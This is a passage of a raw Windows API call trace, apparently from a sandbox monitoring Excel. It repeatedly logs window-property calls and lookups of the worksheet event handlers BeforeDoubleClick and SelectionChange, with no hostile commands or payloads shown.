(hWnd=0x101d0, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0150.320] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0150.320] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0150.320] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0150.320] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0150.320] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0150.320] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0150.321] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x72deb20 [0150.321] IMalloc:Free (This=0x7feffc15380, pv=0x72deb20) [0150.699] GetAsyncKeyState (vKey=27) returned 0 [0150.699] GetCurrentThreadId () returned 0x8fc [0150.699] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0150.699] GetDesktopWindow () returned 0x10010 [0150.700] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0150.700] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0150.700] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0150.700] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0150.700] GetWindowLongPtrA (hWnd=0xb02e6, nIndex=-6) returned 0x7feef2c0000 [0150.700] GetWindowLongPtrA (hWnd=0xb02e6, nIndex=-6) returned 0x7feef2c0000 [0150.701] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0150.701] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0150.701] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0150.701] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0150.701] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0150.701] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0150.702] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0150.702] IsWindowEnabled (hWnd=0x202b0) returned 0 [0150.702] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0150.702] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0150.702] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0150.702] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0150.702] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0150.703] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0150.703] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0150.703] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0150.703] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0150.703] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0150.703] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0150.703] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0150.704] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0150.704] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0150.704] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x25d9790 [0150.704] IMalloc:Free (This=0x7feffc15380, pv=0x25d9790) [0153.884] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0153.884] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0153.892] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0153.892] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0153.892] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0153.905] GetCurrentThreadId () returned 0x8fc [0153.905] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0153.905] GetDesktopWindow () returned 0x10010 [0153.905] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0153.905] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0153.905] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0153.905] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0153.905] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0153.905] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0153.905] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0153.905] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0153.906] IsWindowEnabled (hWnd=0x202b0) returned 1 [0153.906] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0153.906] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0153.906] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0153.906] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0153.906] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0153.906] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0153.906] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0153.906] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0153.906] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0153.907] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0153.907] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0153.907] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0153.907] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0153.907] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0153.907] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0153.907] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8e320 [0153.907] IMalloc:Free (This=0x7feffc15380, pv=0xbb8e320) [0154.297] GetAsyncKeyState (vKey=27) returned 0 [0154.298] GetCurrentThreadId () returned 0x8fc [0154.298] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0154.298] GetDesktopWindow () returned 0x10010 [0154.298] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0154.298] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0154.298] GetWindowLongPtrA (hWnd=0x13021c, nIndex=-6) returned 0x7feef2c0000 [0154.298] GetWindowLongPtrA (hWnd=0x13021c, nIndex=-6) returned 0x7feef2c0000 [0154.298] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0154.298] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0154.298] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0154.298] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0154.299] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0154.299] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0154.299] IsWindowEnabled (hWnd=0x202b0) returned 0 [0154.299] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0154.299] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0154.299] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0154.299] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0154.299] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0154.299] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0154.299] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0154.299] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0154.299] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0154.300] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0154.300] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0154.300] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0154.300] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0154.300] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0154.300] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0154.300] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0154.300] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0154.300] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0154.300] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0154.300] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x24acd10 [0154.300] IMalloc:Free (This=0x7feffc15380, pv=0x24acd10) [0157.958] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c0000035b | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x9c0000035b) returned 0x0 [0157.958] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0157.958] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0157.958] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0157.958] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0157.959] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0157.959] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0157.959] _mbscpy_s (in: _Dst=0x24db50, _DstSizeInBytes=0x1c, _Src=0x6ca2e3a | out: _Dst=0x24db50) returned 0x0 [0157.959] _mbscpy_s (in: _Dst=0x24db5a, _DstSizeInBytes=0x12, _Src=0x24dd00 | out: _Dst=0x24db5a) returned 0x0 [0157.959] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_BeforeDoubleClick") returned 0x107466 [0157.976] GetCurrentThreadId () returned 0x8fc [0157.976] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0157.976] GetDesktopWindow () returned 0x10010 [0157.976] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0157.976] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0157.976] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0157.976] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0157.976] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0157.976] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0157.977] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0157.977] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0157.977] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0157.977] IsWindowEnabled (hWnd=0x202b0) returned 1 [0157.977] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x0 [0157.977] SetPropA (hWnd=0x202b0, lpString=0xc137, hData=0x1) returned 1 [0157.977] EnableWindow (hWnd=0x202b0, bEnable=0) returned 0 [0157.977] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0157.977] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0157.977] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0157.977] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0157.978] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0157.978] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0157.978] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0157.978] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0157.978] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0157.978] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0157.978] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0157.978] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0xbb8d540 [0157.979] IMalloc:Free (This=0x7feffc15380, pv=0xbb8d540) [0168.315] GetAsyncKeyState (vKey=27) returned 0 [0168.315] GetCurrentThreadId () returned 0x8fc [0168.315] GetWindowLongA (hWnd=0x0, nIndex=-16) returned 0 [0168.315] GetDesktopWindow () returned 0x10010 [0168.315] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0168.315] GetWindowLongPtrA (hWnd=0x1021a, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0168.316] GetWindowLongPtrA (hWnd=0x2019c, nIndex=-6) returned 0x13f1d0000 [0168.316] GetWindowLongPtrA (hWnd=0x12028a, nIndex=-6) returned 0x7feef2c0000 [0168.316] GetWindowLongPtrA (hWnd=0x12028a, nIndex=-6) returned 0x7feef2c0000 [0168.316] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0168.316] GetWindowLongPtrA (hWnd=0x202ca, nIndex=-6) returned 0x13f1d0000 [0168.316] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x20266, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x20268, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x3026a, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0168.316] GetWindowLongPtrA (hWnd=0x600d0, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0168.317] GetWindowLongPtrA (hWnd=0x101d4, nIndex=-6) returned 0x13f1d0000 [0168.317] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x101fe, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x10200, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x10202, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x10204, nIndex=-6) returned 0x0 [0168.317] GetWindowLongPtrA (hWnd=0x202b0, nIndex=-6) returned 0x7fee5ce0000 [0168.317] IsWindowEnabled (hWnd=0x202b0) returned 0 [0168.317] GetPropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0168.317] RemovePropA (hWnd=0x202b0, lpString=0xc137) returned 0x1 [0168.317] EnableWindow (hWnd=0x202b0, bEnable=1) returned 1 [0168.318] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0168.318] GetWindowLongPtrA (hWnd=0x20232, nIndex=-6) returned 0x7feef2c0000 [0168.318] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0168.318] GetWindowLongPtrA (hWnd=0x1022e, nIndex=-6) returned 0x7fef2470000 [0168.318] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101d2, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101d0, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101ce, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0168.318] GetWindowLongPtrA (hWnd=0x101cc, nIndex=-6) returned 0x0 [0168.319] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0168.319] GetWindowLongPtrA (hWnd=0x301a2, nIndex=-6) returned 0x13f1d0000 [0168.319] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0168.319] GetWindowLongPtrA (hWnd=0x201a0, nIndex=-6) returned 0x13f1d0000 [0168.319] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0168.319] GetWindowLongPtrA (hWnd=0x20208, nIndex=-6) returned 0x7feffa40000 [0168.319] IMalloc:Alloc (This=0x7feffc15380, cb=0x18) returned 0x71db5f0 [0168.319] IMalloc:Free (This=0x7feffc15380, pv=0x71db5f0) [0171.392] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1543, refPtrFlags=0x24e910, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000000d6 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xb6000000d6) returned 0x0 [0171.392] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="SelectionChange", cchWideChar=16, lpMultiByteStr=0x24e960, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SelectionChange", lpUsedDefaultChar=0x0) returned 16 [0171.392] _mbscpy_s (in: _Dst=0x24e7b0, _DstSizeInBytes=0x1a, _Src=0x6ca2e3a | out: _Dst=0x24e7b0) returned 0x0 [0171.392] _mbscpy_s (in: _Dst=0x24e7ba, _DstSizeInBytes=0x10, _Src=0x24e960 | out: _Dst=0x24e7ba) returned 0x0 [0171.392] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Worksheet_SelectionChange") returned 0x1034d1 [0171.394] ITypeInfo:RemoteGetDocumentation (in: This=0xb902078, memid=1537, refPtrFlags=0x24dcb0, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x0) returned 0x0 [0171.394] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BeforeDoubleClick", cchWideChar=18, lpMultiByteStr=0x24dd00, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BeforeDoubleClick", lpUsedDefaultChar=0x0) returned 18 [0171.394] _mbscpy_s (in: _Dst=0x24db50, 